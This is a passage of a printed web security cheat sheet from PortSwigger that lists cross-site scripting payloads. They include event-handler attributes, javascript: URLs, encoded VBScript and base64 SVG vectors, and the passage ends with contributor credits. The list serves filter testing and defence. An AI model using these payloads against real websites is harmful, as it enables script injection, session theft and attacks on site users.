$('body').on('click', function() {
alert('Injected Event'); });
$('body').trigger('click');
</script>
<img src="javascript:alert(1)">
Copy
Link
<body background="javascript:alert(1)">
Copy
Link
Iframe data urls no longer work as modern browsers use a null origin
Copy
Link
Copy
Link
Copy
Link
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 70/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@> <iframe language=VBScript.Encode
onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
Copy
Link
<a title="&{alert(1)}">XSS</a>
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 71/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Copy
Link
Copy
Link
Copy
Link
<script> function window.onload(){ alert(1); } </script> <script> function window::onload(){ alert(1); } </scrip
<script> function window.location(){ } </script> <body> <script> function/*<img src=1
onerror=alert(1)>*/document.body.innerHTML(){} </script> </body> <body> <script> function document.body.innerHTM
x = "<img src=1 onerror=alert(1)>"; } </script> </body>
Copy
Link
Copy
Link
<a href="javascriptjavascript:alert(1)">Firefox</a>
Copy
Link
<a href="javascript:alert(1)">Firefox</a>
Copy
Link
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 72/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Safari used to allow any tag to have a onload event inside SVG
<svg><xss onload=alert(1)>
Copy
Link
Copy
Link
Copy
Link
Copy
Link
Copy
Link
<svg><discard onbegin=alert(1)>
Copy
Link
Copy
Link
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 73/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
<input type=image onloadend=alert(1) src=validimage.png>
Copy
Link
Copy
Link
Copy
Link
<marquee onstart=alert(1)>XSS</marquee>
Copy
Link
<script>location.protocol='javascript'</script>
Copy
Link
Copy
Link
<svg><use
href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0
cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQ
IC8+Cjwvc3ZnPg==#x" /></svg>
Copy
Link
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 74/75
5/24/25, 5:42 PM Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy
Copy
Link
<a href="javascript://%0aalert(1)">XSS</a>
Copy
Link
Copy
Link
Credits
Brought to you by PortSwigger Research. Created by @garethheyes.
This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario Heiderich, Eduar
Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jann Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a, Skyp
Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Mich
Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush Dalili, Stefano Di P
Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØᴘᴀS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist, Andrea
(theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu, RenwaX23, sratarun, har1sec, Yann C., gadhiyasavan, p4fg, diofeher, Sergey Bob
PwnFunction, Guilherme Keerok, Alex Brasetvik, s1r1us, ngyikp, the-xentropy, Rando111111, Fzs, Sivakumar, Dwi Siswanto, bxmbn, Tarunkant Gupta, la
Begeek, Hannes Leopold, yawnmoth, Yair Amit, Franz Sedlmaier, Łukasz Pilorz, Steven Christey, Dan Crowley, Rene Ledosquet, Kurt Huwig, Moritz Nau
Jonathan Vanasco, nEUrOO, Sec Consult, Timo, Ozh, David Ross, Lukasz Plonka (sp3x), xhzeem, Mach1ne, AmirMohammad Safari, Tom Schuster, Wc
Filipnyquist, zhenwarx, smhtahsin33, Andrei Nicolaiciuc, Hiv01tag3, Andrej Šimko, parrot409, terjanq, _0x999, isacaya_, williamserizao
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
Web vulnerability scanner Cross-site scripting (XSS) Organizations About Web Security Academy
Burp Suite Editions SQL injection Testers Careers Blog
Release Notes Cross-site request forgery Developers Contact Research Follow us
XML external entity injection Legal
Directory traversal Privacy Notice © 2025 PortSwigger Ltd
Server-side request forgery
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 75/75